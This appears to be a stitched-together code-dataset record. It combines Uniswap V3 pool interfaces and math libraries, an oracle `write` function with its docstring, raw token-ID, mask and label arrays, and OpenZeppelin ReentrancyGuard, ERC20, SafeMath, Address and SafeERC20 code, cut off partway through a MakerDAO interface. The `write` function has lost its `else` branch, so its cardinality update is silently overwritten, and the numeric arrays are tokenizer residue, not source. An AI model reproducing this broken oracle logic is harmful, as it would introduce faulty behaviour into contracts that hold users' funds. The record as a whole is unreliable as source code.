address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
/// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback
/// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback
/// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling
/// with 0 amount{0,1} and sending the donation amount(s) from the callback
/// @param recipient The address which will receive the token0 and token1 amounts
/// @param amount0 The amount of token0 to send
/// @param amount1 The amount of token1 to send
/// @param data Any data to be passed through to the callback
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
/// @notice Increase the maximum number of price and liquidity observations that this pool will store
/// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to
/// the input observationCardinalityNext.
/// @param observationCardinalityNext The desired minimum number of observations for the pool to store
function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissioned pool actions
/// @notice Contains pool methods that may only be called by the factory owner
interface IUniswapV3PoolOwnerActions {
/// @notice Set the denominator of the protocol's % share of the fees
/// @param feeProtocol0 new protocol fee for token0 of the pool
/// @param feeProtocol1 new protocol fee for token1 of the pool
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;
/// @notice Collect the protocol fee accrued to the pool
/// @param recipient The address to which collected protocol fees should be sent
/// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1
/// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0
/// @return amount0 The protocol fee collected in token0
/// @return amount1 The protocol fee collected in token1
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Events emitted by a pool
/// @notice Contains all events emitted by the pool
interface IUniswapV3PoolEvents {
/// @notice Emitted exactly once by a pool when #initialize is first called on the pool
/// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize
/// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96
/// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool
event Initialize(uint160 sqrtPriceX96, int24 tick);
/// @notice Emitted when liquidity is minted for a given position
/// @param sender The address that minted the liquidity
/// @param owner The owner of the position and recipient of any minted liquidity
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity minted to the position range
/// @param amount0 How much token0 was required for the minted liquidity
/// @param amount1 How much token1 was required for the minted liquidity
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees are collected by the owner of a position
/// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees
/// @param owner The owner of the position for which fees are collected
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0 fees collected
/// @param amount1 The amount of token1 fees collected
event Collect(
address indexed owner,
address recipient,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount0,
uint128 amount1
);
/// @notice Emitted when a position's liquidity is removed
/// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect
/// @param owner The owner of the position for which liquidity is removed
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity to remove
/// @param amount0 The amount of token0 withdrawn
/// @param amount1 The amount of token1 withdrawn
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted by the pool for any swaps between token0 and token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the output of the swap
/// @param amount0 The delta of the token0 balance of the pool
/// @param amount1 The delta of the token1 balance of the pool
/// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96
/// @param liquidity The liquidity of the pool after the swap
/// @param tick The log base 1.0001 of price of the pool after the swap
event Swap(
address indexed sender,
address indexed recipient,
int256 amount0,
int256 amount1,
uint160 sqrtPriceX96,
uint128 liquidity,
int24 tick
);
/// @notice Emitted by the pool for any flashes of token0/token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the tokens from flash
/// @param amount0 The amount of token0 that was flashed
/// @param amount1 The amount of token1 that was flashed
/// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee
/// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee
event Flash(
address indexed sender,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 paid0,
uint256 paid1
);
/// @notice Emitted by the pool for increases to the number of observations that can be stored
/// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index
/// just before a mint/swap/burn.
/// @param observationCardinalityNextOld The previous value of the next observation cardinality
/// @param observationCardinalityNextNew The updated value of the next observation cardinality
event IncreaseObservationCardinalityNext(
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
/// @notice Emitted when the protocol fee is changed by the pool
/// @param feeProtocol0Old The previous value of the token0 protocol fee
/// @param feeProtocol1Old The previous value of the token1 protocol fee
/// @param feeProtocol0New The updated value of the token0 protocol fee
/// @param feeProtocol1New The updated value of the token1 protocol fee
event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);
/// @notice Emitted when the collected protocol fees are withdrawn by the factory owner
/// @param sender The address that collects the protocol fees
/// @param recipient The address that receives the collected protocol fees
/// @param amount0 The amount of token0 protocol fees that is withdrawn
/// @param amount0 The amount of token1 protocol fees that is withdrawn
event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title BitMath
/// @dev This library provides functionality for computing bit properties of an unsigned integer
library BitMath {
/// @notice Returns the index of the most significant bit of the number,
/// where the least significant bit is at index 0 and the most significant bit is at index 255
/// @dev The function satisfies the property:
/// x >= 2**mostSignificantBit(x) and x < 2**(mostSignificantBit(x)+1)
/// @param x the value for which to compute the most significant bit, must be greater than 0
/// @return r the index of the most significant bit
function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0);
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
r += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
r += 64;
}
if (x >= 0x100000000) {
x >>= 32;
r += 32;
}
if (x >= 0x10000) {
x >>= 16;
r += 16;
}
if (x >= 0x100) {
x >>= 8;
r += 8;
}
if (x >= 0x10) {
x >>= 4;
r += 4;
}
if (x >= 0x4) {
x >>= 2;
r += 2;
}
if (x >= 0x2) r += 1;
}
/// @notice Returns the index of the least significant bit of the number,
/// where the least significant bit is at index 0 and the most significant bit is at index 255
/// @dev The function satisfies the property:
/// (x & 2**leastSignificantBit(x)) != 0 and (x & (2**(leastSignificantBit(x)) - 1)) == 0)
/// @param x the value for which to compute the least significant bit, must be greater than 0
/// @return r the index of the least significant bit
function leastSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0);
r = 255;
if (x & type(uint128).max > 0) {
r -= 128;
} else {
x >>= 128;
}
if (x & type(uint64).max > 0) {
r -= 64;
} else {
x >>= 64;
}
if (x & type(uint32).max > 0) {
r -= 32;
} else {
x >>= 32;
}
if (x & type(uint16).max > 0) {
r -= 16;
} else {
x >>= 16;
}
if (x & type(uint8).max > 0) {
r -= 8;
} else {
x >>= 8;
}
if (x & 0xf > 0) {
r -= 4;
} else {
x >>= 4;
}
if (x & 0x3 > 0) {
r -= 2;
} else {
x >>= 2;
}
if (x & 0x1 > 0) r -= 1;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Math functions that do not check inputs or outputs
/// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks
library UnsafeMath {
/// @notice Returns ceil(x / y)
/// @dev division by 0 has unspecified behavior, and must be checked externally
/// @param x The dividend
/// @param y The divisor
/// @return z The quotient, ceil(x / y)
function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) {
assembly {
z := add(div(x, y), gt(mod(x, y), 0))
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.4.0;
/// @title FixedPoint96
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
/// @dev Used in SqrtPriceMath.sol
library FixedPoint96 {
uint8 internal constant RESOLUTION = 96;
uint256 internal constant Q96 = 0x1000000000000000000000000;
} | @notice Writes an oracle observation to the array @dev Writable at most once per block. Index represents the most recently written element. cardinality and index must be tracked externally. If the index is at the end of the allowable array length (according to cardinality), and the next cardinality is greater than the current one, cardinality may be increased. This restriction is created to preserve ordering. @param self The stored oracle array @param index The index of the observation that was most recently written to the observations array @param blockTimestamp The timestamp of the new observation @param tick The active tick at the time of the new observation @param liquidity The total in-range liquidity at the time of the new observation @param cardinality The number of populated elements in the oracle array @param cardinalityNext The new length of the oracle array, independent of population @return indexUpdated The new index of the most recently written element in the oracle array @return cardinalityUpdated The new cardinality of the oracle array early return if we've already written an observation this block if the conditions are right, we can bump the cardinality | function write(
Observation[65535] storage self,
uint16 index,
uint32 blockTimestamp,
int24 tick,
uint128 liquidity,
uint16 cardinality,
uint16 cardinalityNext
) internal returns (uint16 indexUpdated, uint16 cardinalityUpdated) {
Observation memory last = self[index];
if (last.blockTimestamp == blockTimestamp) return (index, cardinality);
if (cardinalityNext > cardinality && index == (cardinality - 1)) {
cardinalityUpdated = cardinalityNext;
cardinalityUpdated = cardinality;
}
indexUpdated = (index + 1) % cardinalityUpdated;
self[indexUpdated] = transform(last, blockTimestamp, tick, liquidity);
}
| 130,929 | [
1,
8368,
392,
20865,
13853,
358,
326,
526,
225,
14505,
622,
4486,
3647,
1534,
1203,
18,
3340,
8686,
326,
4486,
19907,
5941,
930,
18,
14379,
471,
770,
1297,
506,
15200,
18885,
1230,
18,
971,
326,
770,
353,
622,
326,
679,
434,
326,
30727,
526,
769,
261,
1077,
4643,
358,
14379,
3631,
471,
326,
1024,
14379,
353,
6802,
2353,
326,
783,
1245,
16,
14379,
2026,
506,
31383,
18,
1220,
9318,
353,
2522,
358,
9420,
9543,
18,
225,
365,
1021,
4041,
20865,
526,
225,
770,
1021,
770,
434,
326,
13853,
716,
1703,
4486,
19907,
5941,
358,
326,
16477,
526,
225,
1203,
4921,
1021,
2858,
434,
326,
394,
13853,
225,
4024,
1021,
2695,
4024,
622,
326,
813,
434,
326,
394,
13853,
225,
4501,
372,
24237,
1021,
2078,
316,
17,
3676,
4501,
372,
24237,
622,
326,
813,
434,
326,
394,
13853,
225,
14379,
1021,
1300,
434,
6737,
2186,
316,
326,
20865,
526,
225,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
565,
445,
1045,
12,
203,
3639,
27177,
367,
63,
26,
2539,
4763,
65,
2502,
365,
16,
203,
3639,
2254,
2313,
770,
16,
203,
3639,
2254,
1578,
1203,
4921,
16,
203,
3639,
509,
3247,
4024,
16,
203,
3639,
2254,
10392,
4501,
372,
24237,
16,
203,
3639,
2254,
2313,
14379,
16,
203,
3639,
2254,
2313,
14379,
2134,
203,
565,
262,
2713,
1135,
261,
11890,
2313,
770,
7381,
16,
2254,
2313,
14379,
7381,
13,
288,
203,
3639,
27177,
367,
3778,
1142,
273,
365,
63,
1615,
15533,
203,
203,
3639,
309,
261,
2722,
18,
2629,
4921,
422,
1203,
4921,
13,
327,
261,
1615,
16,
14379,
1769,
203,
203,
3639,
309,
261,
3327,
9232,
2134,
405,
14379,
597,
770,
422,
261,
3327,
9232,
300,
404,
3719,
288,
203,
5411,
14379,
7381,
273,
14379,
2134,
31,
203,
5411,
14379,
7381,
273,
14379,
31,
203,
3639,
289,
203,
203,
3639,
770,
7381,
273,
261,
1615,
397,
404,
13,
738,
14379,
7381,
31,
203,
3639,
365,
63,
1615,
7381,
65,
273,
2510,
12,
2722,
16,
1203,
4921,
16,
4024,
16,
4501,
372,
24237,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-04-28
*/
// File: @openzeppelin/contracts/utils/ReentrancyGuard.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/interfaces/maker/IMakerDAO.sol
pragma solidity 0.6.12;
interface ManagerLike {
function cdpCan(
address,
uint256,
address
) external view returns (uint256);
